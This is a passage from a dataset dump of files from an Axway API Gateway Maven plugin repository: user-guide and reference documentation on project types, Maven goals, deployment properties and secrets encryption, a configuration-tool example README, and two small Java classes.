http://maven.apache.org/xsd/maven-4.0.0.xsd\"\n>\n <!-- ... -->\n <packaging>axway-policy-archive</packaging> <!--1-->\n\n <build>\n <plugins>\n <plugin> <!--2-->\n <groupId>com.axway.maven.plugins</groupId>\n <artifactId>apigw-maven-plugin</artifactId>\n <version>{mvn-plugin-ver}</version>\n <extensions>true</extensions>\n </plugin>\n </plugins>\n </build>\n </project>\n----\n<1> The packing type `axway-policy-archive` marks it as a policy project.\nOther packaging types available.\n<2> Use _Maven Plugin for API Gateway_ for this project.\n\nTo initialize the project invoke the following command in your project directory:\n\n $ mvn apigw:init\n\nAccording to your packaging type the project is initialized with a default directory structure and a default project template.\n\nIf your project requires policies from other project, add the according dependencies to your `pom.xml` file.\n\n.pom.xml\n[source,xml,subs=\"verbatim,attributes\"]\n----\n<dependencies>\n <dependency> <!--1-->\n <groupId>com.example</groupId>\n <artifactId>common</artifactId>\n <version>1.0.0</version>\n <type>axway-policy-archive</type> <!--2-->\n </dependency>\n</dependencies>\n----\n<1> Add the dependency.\n<2> Set the packaging type of the dependent artifact.\n\n== Edit Project\nTo edit the project just invoke the goal `apigw:policystudio`.\n\n $ mvn apigw:policystudio\n\n[NOTE]\n====\nIf PolicyStudio is started the first time in the project directory it has to be initialized first.\n\nIn this case you will be prompted to close PolicyStudio right after startup.\nSo, just close PolicyStudio and invoke the Maven goal `apigw:policystudio` again.\nYou have to do this only once.\n====\n\nThis will download all dependent projects, configure the dependencies and will start _PolicyStudio_.\nFor convenience the recently used projects are preset to your project.\nSo just click on the links.\n\nTo ensure that the latest version of dependent projects are used use the `apigw:policystudio` goal in combination with the `clean` goal.\n\n $ mvn clean apigw:policystudio\n\n[NOTE]\n====\nAs _Deployment Projects_ don't have policies to be edited, the goal is not supported for projects of packaging type `axway-deployment-archive`.\n====\n\n== Package & Install Project\n\n=== Cleanup\nAll artifacts and temporarily files are generated in the `target` folder.\nUse the goal `clean` to delete the target folder and to cleanup all generated artifacts.\n\n $ mvn clean\n\n=== Build Project Artifact\n\nTo build the project artifacts use the `package` goal.\n\n $ mvn clean package\n\nThis will build the projects archives (policy archive, server archive or deployment archive) depending on the project type.\n\n=== Install Artifact\n\nTo install the generated project archive to the local Maven repository use the `install` goal.\n\n $ mvn clean install\n\nTo deploy the generated project archive to the remote repository use the `deploy` goal.\n\n $ mvn clean deploy\n\n== Deploy Project to API Gateway\n\nTo install the project to a gateway instance the goal `apigw:deploy` is used.\nIt only supports a standard deployment.\nDeployment of static files or JARs are not supported.\n\nFor deployment following properties are used:\n\n[cols=\"1,<5a,1\", options=\"header\"]\n|===\n|Property|Description|Mandatory\n\n|`axway.anm.host`\n|Host of the Admin Node Manager.\n|yes\n\n|`axway.anm.port`\n|Port of the Admin Node Manager (default: 8090).\n|no\n\n|`axway.anm.user`\n|User to connect to the Admin Node Manager (default: admin).\n|no\n\n|`axway.anm.password`\n|Password of the user.\n|yes\n\n|`axway.deploy.group`\n|Name of the group the project is deployed to.\n|yes\n\n|`axway.passphrase.pol`\n|Passphrase for `.pol` and `.env` packages.\n|no\n\n|`axway.passphrase.fed`\n|Passphrase for `.fed` packages.\n|no\n\n|`axway.passphrase.deploy`\n|Passphrase for deployment group.\n|no\n\n|`axway.config.envs`\n|Path to environmentalized fields configuration file.\n|yes\n\n|`axway.config.certs`\n|Path to certificates configuration file.\n|no\n\n|`axway.config.props`\n|Path to properties configuration file.\n|no\n\n|`axway.config.props.files`\n|Comma separated list of paths to properties configuration files.\n|no\n\n|`axway.config.secrets.file`\n|Path to secrets file.\n|no\n\n|`axway.config.secrets.key`\n|Path to key file to decrypt/encrypt values of secrets file.\n|yes, if secrets file is specified\n|===\n\nExample:\n\n $ mvn -Daxway.anm.host=localhost -Daxway.anm.password=changeme -Daxway.deploy.group=test -Daxway.config.envs=gateway.config.json clean apigw:deploy\n\n=== Policy Projects\n\nFor policy projects the test server which is included in the project is deployed.\n\nSteps:\n\n . Execute `package` lifecycle.\n . Build `.pol` and `.env` packages.\n . Build and configure `.fed` package.\n . Deploy `.fed` package to gateway\n\n=== Server Projects\n\nFor server projects the generated `.pol` and `.env` packages are deployed.\n\nSteps:\n\n . Execute `package` lifecycle.\n . Build and configure `.fed` package from `.pol` and `.env` packages.\n . Deploy `.fed` package to gateway\n\n=== Deployment Projects\n\nFor deployment projects the `.fed` package of the generated artifact is deployed.\n\nSteps:\n\n . Execute `package` lifecycle.\n . Deploy `.fed` package to gateway\n\n== Configuration Files\n\nThe location of configuration files can be specified via the <configuration> element of the plugin or via Maven properties or via the `-D` parameter of the Maven command line.\n\n=== Environmentalized Fields\n\n.pom.xml\n[source,xml,subs=\"verbatim,attributes\"]\n----\n<!- ... ->\n<plugin>\n <groupId>com.axway.maven.plugins</groupId>\n <artifactId>apigw-maven-plugin</artifactId>\n <version>{mvn-plugin-ver}</version>\n <extensions>true</extensions>\n <configuration>\n <configConfigFile>${basedir}/src/main/axwgw/gateway.config.json</configConfigFile> <!--1-->\n </configuration>\n</plugin>\n<!- ... ->\n----\n<1> Location of the configuration file for environmentalized fields.\n\n.Command Line\n....\n$ mvn package -Daxway.config.envs=gateway.config.json\n....\n\n=== Certificates\n\n.pom.xml\n[source,xml,subs=\"verbatim,attributes\"]\n----\n<!- ... ->\n<plugin>\n <groupId>com.axway.maven.plugins</groupId>\n <artifactId>apigw-maven-plugin</artifactId>\n <version>{mvn-plugin-ver}</version>\n <extensions>true</extensions>\n <configuration>\n <configCertsFile>${basedir}/src/main/axwgw/gateway.certs.json</configCertsFile> <!--1-->\n </configuration>\n</plugin>\n<!- ... ->\n----\n<1> Location of the configuration file for certificates.\n\n.Command Line\n....\n$ mvn package -Daxway.config.certs=gateway.certs.json\n....\n\n=== Configure Properties\n\nThe Maven plugin supports three options to specify configuration properties:\n\n 1. Embedded in the configuration files for environmentalized fields or for certificates.\n 2. Via a configuration file specified by the property `axway.config.props` or via the <configPropertyFile> element in the <configuration> element of the plugin. This is the _master_ configuration file.\n 3. Via configuration files specified by the <configPropertyFiles> element in the <configuration> element of the plugin.\n 4. Via configuration files specified by a comma separated list of the property `axway.config.props.files`. These are called the _additionally_ configuration files.\n\nProperties are read in the order listed above.\nIf a property exists in multiple configuration files the value of the latest configuration file is used.\n\nFor deployment projects, the location of the mandatory configuration file for environmentalized fields is implicitly set to `${basedir}/src/main/axwgw/gateway.config.json`.\nThe file will be created during the initialization of the project (goal `apigw:init`).\n\nThe location of the configuration files can be specified in the `<configuration>` element of the plugin (see below) or can be passed via the command line.\n\nExamples:\n\n.pom.xml\n[source,xml,subs=\"verbatim,attributes\"]\n----\n<!- ... ->\n<plugin>\n <groupId>com.axway.maven.plugins</groupId>\n <artifactId>apigw-maven-plugin</artifactId>\n <version>{mvn-plugin-ver}</version>\n <extensions>true</extensions>\n <configuration>\n <configPropertyFile>${basedir}/gateway.prop.json</configPropertyFile> <!--1-->\n <configPropertyFiles> <!--2-->\n <configPropertyFile>${basedir}/prop-a.json</configPropertyFile>\n <configPropertyFile>${basedir}/prop-b.json</configPropertyFile>\n </configPropertFiles>\n </configuration>\n</plugin>\n<!- ... ->\n----\n<1> Location of a configuration file for properties.\n<2> Location of a list of configuration files for properties.\n\n.Command Line\n....\n$ mvn package -Daxway.config.props=a.json -Daxway.config.props.files=b.json,c.json\n....\n\n\n== Miscellaneous\n\n=== Standalone Configuration Tools\nThe plugin includes some Python based scripts to configure environment specific `.fed` files.\nThe scripts can also be used as standalone tools.\nThe goal `apigw:tools` extracts the included script to the `${project.build.directory}/tools` directory.\n\n.Command Line\n....\n$ mvn apigw:tools\n....\n\n=== Encrypt Secrets File\nTo create an empty secrets file or to add properties to secrets file, the goal `apigw:encrypt` can be used.\nA file containing a key is used to initially create the secrets file.\nThe same key file as used to create the file has to be used to decrypt values.\n\n.Key File\n****\nThe key file contains any arbitrary sequence of bytes.\nIt is treated as a binary file.\n\nIf you edit this file with a text editor be aware of the encoding and the end of line sequence.\nIn this case use ASCII characters in a single line (no line feed at the end) to prevent any incompatibility with other line end formats or editor encodings.\n****\n\n.gateway.crypt.json\n[source,json]\n----\n{\n \"secrets\": { <1>\n \"__\": \"3QjoMSfhSelmvMlvcgCdyHf+oTyVnHlyneA3stpN0iQKJ1BUIrY9OA==\", <2>\n \"my.password\": \"encrypt:changeme\", <3>\n }\n}\n----\n<1> The `secrets` property is requried.\n<2> Marker to check the passphrase. Don't delete or change it.\n<3> The prefix `encrypt:` indicates that the value `changeme` has to be encrypted by the `encrypt` tool.\n\n.Command Line\n....\n$ mvn apigw:encrypt -Daxway.config.secrets.file=gateway.crypt.json -Daxway.config.secrets.key=secrets.key\n....\n\n\n== Maven Goals\nThis section provides a short overview of the goals supported by the Maven plugin.\n\n.Maven Goals\n[cols=\"2,8,1,1,1\", options=\"header\"]\n|===\n|Goal|Description|Pfootnote:[Supported by Policy Project]|Sfootnote:[Supported by Server Project]|Dfootnote:[Supported by Deployment Project]\n\n|apigw:init\n|Initialize the project.\n|yes|yes|yes\n\n|apigw:policystudio\n|Open PolicyStudio to edit the project.\n|yes|yes|no\n\n|clean\n|Cleanup all generated artifacts.\n|yes|yes|yes\n\n|package\n|Build the archive according to the type of the project.\n|yes|yes|yes\n\n|install\n|Build and install the project archive to the local Maven repository.\n|yes|yes|yes\n\n|deploy\n|Build and deploy the project archive to the remote Maven repository.\n|yes|yes|yes\n\n|apigw:tools\n|Extract the scripts of the configuration tools to the target directory.\n|yes|yes|yes\n\n|apigw:deploy\n|Deploy project to a gateway.\n|yes|yes|yes\n\n|apigw:encrypt\n|Encrypt plain values of secrets file.\n|yes|yes|yes\n|===\n"
},
{
"alpha_fraction": 0.7758784294128418,
"alphanum_fraction": 0.7768281102180481,
"avg_line_length": 35.31034469604492,
"blob_id": "9ebcb729cb4772a759668bca1ce14ecd40f95af7",
"content_id": "6ea7ec9c8a2e054bbbc308438ce8365e02f10906",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 1053,
"license_type": "permissive",
"max_line_length": 103,
"num_lines": 29,
"path": "/src/main/java/com/axway/maven/apigw/EncryptMojo.java",
"repo_name": "Axway-API-Management-Plus/apigw-maven-plugin",
"src_encoding": "UTF-8",
"text": "package com.axway.maven.apigw;\n\nimport org.apache.maven.plugin.MojoExecutionException;\nimport org.apache.maven.plugin.MojoFailureException;\nimport org.apache.maven.plugins.annotations.LifecyclePhase;\nimport org.apache.maven.plugins.annotations.Mojo;\n\nimport com.axway.maven.apigw.utils.Encryptor;\n\n@Mojo(name = \"encrypt\", defaultPhase = LifecyclePhase.NONE, requiresProject = true, threadSafe = false)\npublic class EncryptMojo extends AbstractGatewayMojo {\n\n\tpublic EncryptMojo() {\n\t}\n\t\n\t@Override\n\tpublic void execute() throws MojoExecutionException, MojoFailureException {\n\t\tif (this.configSecretsFile == null)\n\t\t\tthrow new MojoExecutionException(\"Secrets file not specified, nothing to encrypt!\");\n\t\tif (this.configSecretsKey == null)\n\t\t\tthrow new MojoExecutionException(\"Key file for secrets not specified!\");\n\n\t\tEncryptor e = new Encryptor(this, this.configSecretsFile);\n\t\tint exitCode = e.execute(this.configSecretsKey);\n\t\tif (exitCode != 0) {\n\t\t\tthrow new MojoExecutionException(\"failed to encrypt secrets file: exitCode=\" + exitCode);\n\t\t}\n\t}\n}\n"
},
{
"alpha_fraction": 0.7342761158943176,
"alphanum_fraction": 0.7461853623390198,
"avg_line_length": 39.10447692871094,
"blob_id": "3807beb3ffbab8c0241ee81c0d6cb8b7530f24ae",
"content_id": "0e76b60d44f1ea69b337adb7176413e6e6350d50",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "AsciiDoc",
"length_bytes": 5374,
"license_type": "permissive",
"max_line_length": 150,
"num_lines": 134,
"path": "/example/config-tool/README.adoc",
"repo_name": "Axway-API-Management-Plus/apigw-maven-plugin",
"src_encoding": "UTF-8",
"text": "= Standalone Configuration Tool Example\n:Author: Martin Look\n:Email: [email protected]\n:toc:\n:source-highlighter: prettify\nifndef::env-github[]\n:icons: font\n:icon-set: far\nendif::[]\nifdef::env-github[]\n:outfilesuffix: .adoc\n:!toc-title:\n:caution-caption: :fire:\n:important-caption: :exclamation:\n:note-caption: :paperclip:\n:tip-caption: :bulb:\n:warning-caption: :warning:\nendif::[]\n\n== Introduction\n\nThis folder contains an example project for demonstrating the usage of the standalone configuration tool.\n\n=== Gateway Project\n\nThe source `.pol` and `.env` archives are located in the `src` folder of the example project. The archives are protected by the passphrase `changeme`.\n\nIt is a simple API Gateway project providing an HTTPS endpoint `/version` which returns a JSON with the version of the project.\n\n[source]\n----\n$ curl -ks https://localhost:8443/version\n{\n \"version\": {\n \"artifact\": \"undefined\",\n \"buildTime\": \"1970-01-01T00:00:00\",\n \"name\": \"\", \n \"description\": \"\"\n }\n}\n----\n\nThe project contains environmentalized attributes.\nSo the values of the `artifact` and `buildTime` properties can be configured.\nAlso the port and the host of the HTTPS endpoint is environmentalized.\n\n[NOTE]\n====\nFor testing, you could deploy the `.fed` archive on a gateway.\nRemember to change the group passphrase with the `managedomain` tool.\n====\n\n== Hands On\n\nThe goal of this demo is to configure the environmentalized fields for a staging environment.\nAlso the server and CA certificates will be replaced by the certificates of the staging environment.\n\nThe passphrase for the configured `.fed` archive will be changed to `changed`. \n\nTo execute the demo just start the `run.cmd`.\nIt will generate a configured `gateway.fed` archive in the directory of the `run.cmd` file.\n\nIf you deploy the configured archive to a gateway the API call looks similar to the following example.\n\nNOTE: For deployment, remember to set the group passphrase via `managedomain`.\n\n[source]\n----\n$ curl -ks https://localhost:18443/version <1>\n{\n \"version\": {\n \"artifact\": \"demo-1.0.0\", <2>\n \"buildTime\": \"2019-12-16T20:38:11.080000\", <3>\n \"name\", Demo, <4>\n \"description\": \"Service for demonstration of configuration tool.\" <5>\n }\n}\n----\n<1> Server and port is set to `localhost:18443`\n<2> Artifact is replaced.\n<3> Build time is automatically generated.\n<4> Name is set.\n<5> Description is set.\n\n[NOTE]\n====\nYou can check the archives with PolicyStudio by creating a new project from the `.pol`/`.env` file or from the `.fed` file.\n\nRemember to use the passphrase `changeme` for the `.pol`and `.env` archive and the passphrase `changed` for the generated `.fed` file.\n====\n\n== How does it work?\n\nWe have a set of configuration files in the `config` folder:\n\n * `gateway.config.json`: used to configure the environmentalized fields.\n * `gateway.certs.json`: used to replace certificates identified by their alias.\n * `gateway.props.json`: used for properties not applicable in the configuration or certs file.\n This file may be generated during the build process with values from external resources (e.g. configuration DB or secured vault).\n * `gateway.crypt.json`: used for confidential properties.\n All values in this file are encrypted.\n\nNOTE: For a description of the configuration files please check the link:../../doc/manual/user-guide.adoc[User Guide]\n\nTo decrypt the confidential values there is a `key.binary` file.\nThis a file containing any arbitrary bytes.\nIf you edit this file with a text editor be aware of the encoding and the end of line sequence.\n\nCAUTION: Never store the key file in the source code repository. Here it's only for demonstration.\n\nIn this example some environment variables (`INFO_NAME` and `NEW_SERVER_PASSWORD`) are set.\nThen the `buildfed` tool will be invoked with the following parameters:\n\n* `-e src/gateway.env`: specifies the path to the input `.env` archive\n* `-p src/gateway.pol`: specifies the path to the input `.pol` archive\n* `-c config/gateway.config.json`: specifies the path to the environmentalized fields configuration file\n* `--cert=config/gateway.certs.json`: specifies the path to the certificates configuration file\n* `--prop=config/gateway.props.json`: specifies the path to a properties file\n* `--prop=config/passwords.props.json`: specifies the path to a second properties file\n* `--output-fed=gateway.fed`: specifies the path for the configured `.fed` archive\n* `--passphrase-in=changeme`: passphrase for input archives (`.pol` and `.env`)\n* `--passphrase-out=changed`: passphrase for the generated `.fed` file\n* `-D artifact:demo-1.0.0`: specifies the value of property `artifact` via the command line instead of from the configuration files\n* `-F info.descr:config/description.txt`: specifies to set the value of property `info.descr` from the content of the `config/description.txt` file\n* `--secrets-file=config/gateway.crypt.json`: specifies the path to a properties file containing confidential values\n* `--secrets-key=key.binary`: specifies the path to the key file for decrypting the confidential values\n\nThe tool reads the source archives, configures the environmentalized fields, replaces the certificates and write the configured `.fed` file.\n\nNOTE: The value of the build time is sourced from an auto-generated, tool internal, property.\n\n== Known Limitations\n\n* The `run.cmd` script is available for Windows only.\n"
},
{
"alpha_fraction": 0.6904761791229248,
"alphanum_fraction": 0.6904761791229248,
"avg_line_length": 23,
"blob_id": "73d72c68759cd02f5429fd24481aab83787f186b",
"content_id": "6903fb85eed5c3a132c02e1ff10ccd02c3d1b15d",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 336,
"license_type": "permissive",
"max_line_length": 68,
"num_lines": 14,
"path": "/src/main/java/com/axway/maven/apigw/utils/Source.java",
"repo_name": "Axway-API-Management-Plus/apigw-maven-plugin",
"src_encoding": "UTF-8",
"text": "package com.axway.maven.apigw.utils;\n\nimport java.io.File;\nimport java.util.Objects;\n\npublic class Source {\n public final File fed;\n public final String passphrase;\n\n public Source(File fed, String passphrase) {\n this.fed = Objects.requireNonNull(fed, \".fed file is null\");\n this.passphrase = passphrase;\n }\n}\n"
},
{
"alpha_fraction": 0.7273520827293396,
"alphanum_fraction": 0.7387760877609253,
"avg_line_length": 30.739030838012695,
"blob_id": "08689eb430304ef4ec8a3f92e193d1af90cd4236",
"content_id": "c7c41fe7e898a37acf94ae77ed1bf5f7f2817b9a",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "AsciiDoc",
"length_bytes": 13743,
"license_type": "permissive",
"max_line_length": 142,
"num_lines": 433,
"path": "/doc/manual/_reference.adoc",
"repo_name": "Axway-API-Management-Plus/apigw-maven-plugin",
"src_encoding": "UTF-8",
"text": "= Reference\nifdef::env-github[]\n:outfilesuffix: .adoc\n:!toc-title:\n:caution-caption: :fire:\n:important-caption: :exclamation:\n:note-caption: :paperclip:\n:tip-caption: :bulb:\n:warning-caption: :warning:\nendif::[]\n\n== Project Types\n\nThis section describes the various projects types.\nThe described directory layout is the default structure as assumed by the plugin.\n\n=== Policy Project\nPolicy project contain shared and reusable policies.\nNo sever settings are included in the project.\nPolicy projects may depend on other policy projects or external libraries (JARs).\n\n==== Directory Layout\n\n[listing, subs=\"verbatim,macros\"]\n----\nicon:folder[] project-home\n icon:file[] pom.xml <1>\n icon:folder[] src\n icon:folder[] main <2>\n icon:folder[] axwgw\n icon:folder[] policies <3>\n icon:file[] config.xml\n icon:file[] ...\n icon:folder[] resources\n icon:folder[] staticFiles <4>\n icon:folder[] test <5> \n icon:folder[] policies <6>\n icon:file[] config.xml\n icon:file[] ...\n----\n<1> Maven Project Object Model, which describes your project and the dependencies\n<2> Main sources of your project\n<3> Policies as to be opened by PolicyStudio\n<4> Folder for static files (e.g. HTML, text, JavaScript, ...)\n<5> Test sources for your project\n<6> Server project for testing your project\n\n==== Archive Content\nThe outcome of the policy project is the policy archive artifact.\nIt contains the policies of the project (as edited in PolicyStudio) and the static files.\n\n[listing, subs=\"verbatim,macros\"]\n----\nicon:folder[] policy-archive.axpar <1>\n icon:folder[] policies <2>\n icon:file[] config.xml\n icon:file[] ...\n icon:folder[] staticFiles <3>\n----\n<1> Generated policy archive.\n<2> Policies of the project (copied from `src/main/axwgw/policies`).\n<3> Static files belonging to the project (copied from `src/main/resources/staticFiles`).\nThe static files are optional.\n\n=== Server Project\nServer projects represent gateway instances.\nThey contain policies and server settings.\nServer projects may depend on other policy projects or external libraries (JARs).\nServer projects are environment independent.\n\n==== Directory Layout\n\n[listing, subs=\"verbatim,macros\"]\n----\nicon:folder[] project-home\n icon:file[] pom.xml <1>\n icon:folder[] src\n icon:folder[] main <2>\n icon:folder[] axwgw\n icon:folder[] policies <3>\n icon:file[] config.xml\n icon:file[] ...\n icon:folder[] resources\n icon:folder[] staticFiles <4>\n----\n<1> Maven Project Object Model, which describes your project and the dependencies\n<2> Main sources of your project\n<3> Policies, including server setting, as to be opened by PolicyStudio\n<4> Folder for static files (e.g. HTML, text, JavaScript, ...)\n\n==== Archive Content\nThe outcome of a server project is a server archive artifact.\nThe server archive contains everything required for a deployment of a gateway instance, except the environment dependent configuration.\n\n[listing, subs=\"verbatim,macros\"]\n----\nicon:folder[] server-archive.axsar <1>\n icon:folder[] lib <2>\n icon:folder[] staticFiles <3>\n icon:file[] gateway.pol <4>\n icon:file[] gateway.env <5>\n icon:file[] gateway.info.json <6>\n icon:file[] readme-server-archive.txt <7>\n----\n<1> Generated server archive.\n<2> Folder containing dependent JARs.\n<3> Static files belonging to the gateway instance.\nThe files are copied from the `staticFiles` folders of all dependent policy archives.\n<4> Packed `.pol` archive containing the server configuration and polices (including policies of all dependent policy archives)\n<5> `.env` file containing all environment specific information.\nThe environment is not configured and should be treated as environment independent.\n<6> JSON document describing the content of the archive (e.g. version and dependencies)\n<7> Generated readme file describing the content of the archive (e.g. version of dependent policy archives)\n\n*`gateway.info.json` File*\n\nThe artifact information file describes the content of the server archive as a JSON document.\nIt contains information about the deployment archive itself the dependencies.\n\n[source,json]\n----\n{\n \"id\" : \"com.example:hello-world-gw:axway-server-archive:0.1.0-SNAPSHOT\",\n \"name\" : \"Hello World Server\",\n \"description\" : \"My first \\\"Hello World\\\" server project.\",\n \"buildTime\" : \"2019-12-17T17:25:40\",\n \"artifact\" : {\n \"groupID\" : \"com.example\",\n \"artifactID\" : \"hello-world-gw\",\n \"version\" : \"0.1.0-SNAPSHOT\"\n },\n \"dependencies\" : [ \"com.example:hello-world:axway-policy-archive:0.1.0-SNAPSHOT\" ]\n}\n----\n\n\n=== Deployment Project\nDeployment projects are used to configure API gateways for specific environments or groups based on an environment independent server project.\nA deployment project depends on exactly one server project.\n\n==== Directory Layout\n[listing, subs=\"verbatim,macros\"]\n----\nicon:folder[] project-home\n icon:file-code[] pom.xml <1>\n icon:folder[] src\n icon:folder[] main <2>\n icon:folder[] axwgw\n icon:file[] gateway.config.json <3>\n----\n<1> Maven Project Object Model, which describes your project and the dependencies\n<2> Main sources of your project\n<3> Configuration file as to be used by the configuration tool.\n\n==== Archive Content\nThe outcome of a deployment project is a environment specific deployment archive.\nIt contains a fully configured API gateway instance including required static files and depending JARs.\n\n[listing, subs=\"verbatim,macros\"]\n----\nicon:folder[] deploy-archive.axdar <1>\n icon:folder[] lib <2>\n icon:folder[] staticFiles <3>\n icon:file[] gateway.fed <4>\n icon:file[] gateway.info.json <5>\n icon:file[] readme-deployment-archive.txt <6>\n icon:file[] readme-server-archive.txt <7>\n----\n<1> Generated server archive.\n<2> Folder containing dependent JARs.\n<3> Static files belonging to the gateway instance.\nThe files are copied from the `staticFiles` folders of all dependent policy archives.\n<4> Configured `.fed` file.\nIt is environment specific and contains all configured certificates and environmentalized fields.\n<5> JSON document describing the content of the archive (e.g. version and dependencies)\n<6> Generated readme file describing the content of the archive (e.g. version of dependent server archive).\n<7> Generated readme file describing the content of the archive (e.g. version of dependent policy archives).\nCopied from server archive.\n\n*`gateway.info.json` File*\n\nThe artifact information file describes the content of the deployment archive as a JSON document.\nIt contains information about the deployment archive itself and about the based server archive.\n\n[source,json]\n----\n{\n \"id\" : \"com.example:hello-world-dev:axway-deployment-archive:0.1.0-SNAPSHOT\",\n \"name\" : \"Hello World (DEV)\",\n \"description\" : null,\n \"buildTime\" : \"2019-12-17T17:25:40\",\n \"artifact\" : {\n \"groupID\" : \"com.example\",\n \"artifactID\" : \"hello-world-dev\",\n \"version\" : \"0.1.0-SNAPSHOT\"\n },\n \"dependencies\" : [ \"com.example:hello-world-gw:axway-server-archive:0.1.0-SNAPSHOT\" ],\n \"serverArchive\" : {\n \"id\" : \"com.example:hello-world-gw:axway-server-archive:0.1.0-SNAPSHOT\",\n \"name\" : \"Hello World Server\",\n \"description\" : \"My first \\\"Hello World\\\" server project.\",\n \"buildTime\" : \"2019-12-17T17:25:40\",\n \"artifact\" : {\n \"groupID\" : \"com.example\",\n \"artifactID\" : \"hello-world-gw\",\n \"version\" : \"0.1.0-SNAPSHOT\"\n },\n \"dependencies\" : [ \"com.example:hello-world:axway-policy-archive:0.1.0-SNAPSHOT\" ]\n }\n}\n----\n\n== Build Properties\n\nThe plugin can be configured by various properties.\nFor most properties a default value exists, so the configuration effort is reduced to a minimum.\n\n.Properties\n[cols=\"1,3a\", options=\"header\"]\n|===\n|Property|Description\n\n|axway.home\n|Home directory of the installed Axway API Gateway suite.\nThis property has to be defined before using the plugin.\n\nDefault: _none_\n\n|axway.home.apigw\n|Home directory of the installed API Gateway.\n\nDefault: ${axway.home}/apigateway\n\n|axway.home.policystudio\n|Home directory of installed PolicyStudio.\n\nDefault: ${axway.home}/policystudio\n\n|axway.project.version\n|Version name of the project.\n\nThe version name is used for setting the version attribute of the policy properties within `.pol` or `.fed` packages.\n\nDefault: ${project.version}\n\n|axway.dir.source\n|Directory of gateway or configuration file source code used by the plugin.\n${basedir}/src/main/axwgw\n\n|axway.dir.resources\n|Directory of resources.\n\nDefault: ${basedir}/src/main/resources\n\n|axway.dir.sharedProjects\n|Directory to extracted dependent policy projects.\n\nDefault: ${project.build.directory}/sharedProjects\n\n|axway.dir.testServer\n|Source directory for the test API Gateway (only for policy projects).\n\nDefault: ${basedir}/src/test/policies\n\n|axway.policystudio.data\n|Data directory for project specific PolicyStudio data.\n\nDefault: ${basedir}/.studio/data\n\n|axway.policystudio.config\n|Directory for project specific PolicyStudio configuration.\n\nDefault: ${basedir}/.studio/conf\n\n|axway.dir.archive.build\n|Directory for building project archives.\n\nDefault: ${project.build.directory}/axway-archive\n\n|axway.template.gateway.fed\n|Template for the server project.\n\nDefault: ${axway.home}/apigateway/system/conf/templates/BlankConfiguration-VordelGateway.fed\n\n|axway.template.policies.fed\n|Template for the policy project.\n\nDefault: ${axway.home}/apigateway/system/conf/templates/BlankNoSettingsConfiguration-VordelGateway.fed\n\n|axway.config.envs\n|Path to configuration file for environmentalized fields (required for deployment or deployment projects).\n\nDefault: ${axway.dir.source}/gateway.config.json _(only for deployment projects)_\n\n|axway.config.certs\n|Path to configuration file for certificates (required for deployment or deployment projects).\n\nDefault: _none_\n\n|axway.config.certs.basedir\n|Base directory for certificate files.\n\nDefault: _none_\n\n|axway.config.props\n|Path to configuration file for properties (required for deployment or deployment projects).\n\nDefault: _none_\n\n|axway.config.props.files\n|Comma separated path to configuration files for properties.\n\nDefault: _none_\n\n|axway.tools.cfg.verbose\n|Set to _true_ to enable verbose mode for internal configuration tool.\n\nDefault: false\n\n|axway.tools.cfg.cert.expirationDays\n|Minimum number of days before certificates expires.\n\nThe build fails if at least one configured certificate expires within the next given days.\nUse -1 to disable the check.\n\nDefault: 10\n\n|axway.tools.cfg.cert.updateConfigured\n|Set to _true_ to enable writing the info section of \"update\" certificates in the configuration file.\n\nSince version v0.7.0 the info section of \"update\" certificates are not written any more.\nThis property can be used to enable the previous behavior.\n\nDefault: false\n\n|axway.passphrase.pol\n|Passphrase for reading or generating `.pol` and `.env` packages.\n\nDefault: _no passphrase_\n\n|axway.passphrase.fed\n|Passphrase for reading or writing `.fed` packages.\n\nDefault: _no passphrase_\n\n|axway.passphrase.deploy\n|Passphrase for gateway deployment.\n\nDefault: _no passphrase_\n\n|axway.anm.host\n|Host of Admin Node Manager (required for deployment only)\n\nDefault: _none_\n\n|axway.anm.port\n|Port of Admin Node Manager (required for deployment only)\n\nDefault: 8090\n\n|axway.anm.user\n|Admin user for Admin Node Manager (required for deployment only)\n\nDefault: admin\n\n|axway.anm.password\n|Password for Admin Node Manager (required for deployment only)\n\nDefault: _none_\n\n|axway.deploy.group\n|Group the projects have to be deployed to (required for deployment only)\n\nDefault: _none_\n\n|axway.skipPackaging\n|Set to _true_ to skip `package` goal in case of the target artifact already exists.\n\nDefault: false\n\nNOTE: It is not checked if the source files are newer than the target artifact.\n\n|axway.config.secrets.file\n|Path to file storing secrets.\n\n|axway.config.secrets.key\n|Path to key file to decrypt/encrypt values of secrets file.\n|===\n\n== Plugin Configuration\n\nThe plugin can also be configured in the `pom.xml` via the <configuration> element of the plugin.\n\n.pom.xml\n[source,xml,subs=\"verbatim,attributes\"]\n----\n<!- ... ->\n<plugin>\n <groupId>com.axway.maven.plugins</groupId>\n <artifactId>apigw-maven-plugin</artifactId>\n <version>{mvn-plugin-ver}</version>\n <extensions>true</extensions>\n <configuration>\n <configConfigFile>${basedir}/src/main/axwgw/gateway.config.json</configConfigFile> <!--1-->\n\n <configCertsFile>${basedir}/src/main/axwgw/gateway.certs.json</configCertsFile> <!--2-->\n\n <configPropertyFile>${basedir}/gateway.prop.json</configPropertyFile> <!--3-->\n\n <configPropertyFiles> <!--4-->\n <configPropertyFile>${basedir}/prop-a.json</configPropertyFile>\n <configPropertyFile>${basedir}/prop-b.json</configPropertyFile>\n </configPropertFiles>\n\n <configCertsBaseDir>${basedir}/src/main/axwgw/certs</configCertsBaseDir> <!--5-->\n <configCertsBaseDirs>\n <configCertsBaseDir>${basedir}/src/main/axwgw/certs/common</configCertsBaseDir> <!--6-->\n <configCertsBaseDir>${basedir}/src/main/axwgw/certs/ca</configCertsBaseDir>\n </configCertsBaseDirs>\n <configSecretsFile>${basedir}/src/main/axwgw/gateway.crypt.json</configSecretsFile> <!--7-->\n <configSecretsKey>${user.home}/secrets.key</configSecretsKey> <!--8-->\n </configuration>\n</plugin>\n<!- ... ->\n----\n<1> Location of the configuration file for environmentalized fields.\n<2> Location of the configuration file for certificates.\n<3> Location of a configuration file for properties.\n<4> Location of a list of configuration files for properties.\n<5> Base directory for certificate files.\n<6> Additional base directories for certificate files supported.\n<7> Path to secrets file.\n<8> Key file to decrypt/encrypt values of secrets file.\n"
},
{
"alpha_fraction": 0.6487889289855957,
"alphanum_fraction": 0.6712802648544312,
"avg_line_length": 30.2702693939209,
